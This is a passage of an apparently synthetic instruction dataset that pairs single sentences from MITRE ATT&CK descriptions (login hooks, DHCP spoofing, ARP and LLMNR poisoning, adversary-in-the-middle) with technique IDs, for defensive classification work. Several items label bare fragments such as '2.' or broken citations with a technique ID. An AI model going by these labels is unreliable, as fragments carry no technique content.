paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The malicious script is executed upon the next user login.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The malicious script is executed upon the next user login. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a login hook already exists, adversaries can add additional commands to an existing login hook.", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a login hook already exists, adversaries can add additional commands to an existing login hook. ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation:", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Persistence Chapter)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Persistence Chapter) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)", "output": "T1037.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: **Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ### Response: T1037.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These scripts can vary based on operating system and whether applied locally or remotely.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These scripts can vary based on operating system and whether applied locally or remotely. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use these scripts to maintain persistence on a single system.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use these scripts to maintain persistence on a single system. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", "output": "T1037", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges. ### Response: T1037."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131)", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The typical server-client interaction is as follows: \n\n1.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The typical server-client interaction is as follows: \n\n1. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The client broadcasts a `DISCOVER` message.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The client broadcasts a `DISCOVER` message. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "2.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 2. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The server responds with an `OFFER` message, which includes an available network address.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The server responds with an `OFFER` message, which includes an available network address. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "3.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 3. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The client broadcasts a `REQUEST` message, which includes the network address offered.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The client broadcasts a `REQUEST` message, which includes the network address offered. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "4.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: 4. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The server acknowledges with an `ACK` message and the client receives the network configuration parameters.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The server acknowledges with an `ACK` message and the client receives the network configuration parameters. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g)", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002))", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool.", "output": "T1557.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ### Response: T1557.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Devices in a local network segment communicate with each other by using link layer addresses.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Devices in a local network segment communicate with each other by using link layer addresses. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The device with the associated IP address directly replies with its MAC address.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The device with the associated IP address directly replies with its MAC address. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The networked device that made the ARP request will then use as well as store that information in its ARP cache.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The networked device that made the ARP request will then use as well as store that information in its ARP cache. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The ARP protocol is stateless and does not require authentication.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The ARP protocol is stateless and does not require authentication. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation:", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cylance Cleaver)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cylance Cleaver) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use ARP cache poisoning as a means to intercept network traffic.", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use ARP cache poisoning as a means to intercept network traffic. ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation:", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sans ARP Spoofing Aug 2003)", "output": "T1557.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sans ARP Spoofing Aug 2003) ### Response: T1557.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may be used to collect or relay authentication materials.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may be used to collect or relay authentication materials. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "NBT-NS identifies systems on a local network by their NetBIOS name.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: NBT-NS identifies systems on a local network by their NetBIOS name. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation:", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub NBNSpoof)(Citation: Rapid7", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub NBNSpoof)(Citation: Rapid7 ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LLMNR Spoofer)(Citation: GitHub Responder)", "output": "T1557.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LLMNR Spoofer)(Citation: GitHub Responder) ### Response: T1557.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials and session cookies.(Citation: volexity_0day_sophos_FW) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att) ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). ### Response: T1557."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "output": "T1557", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that 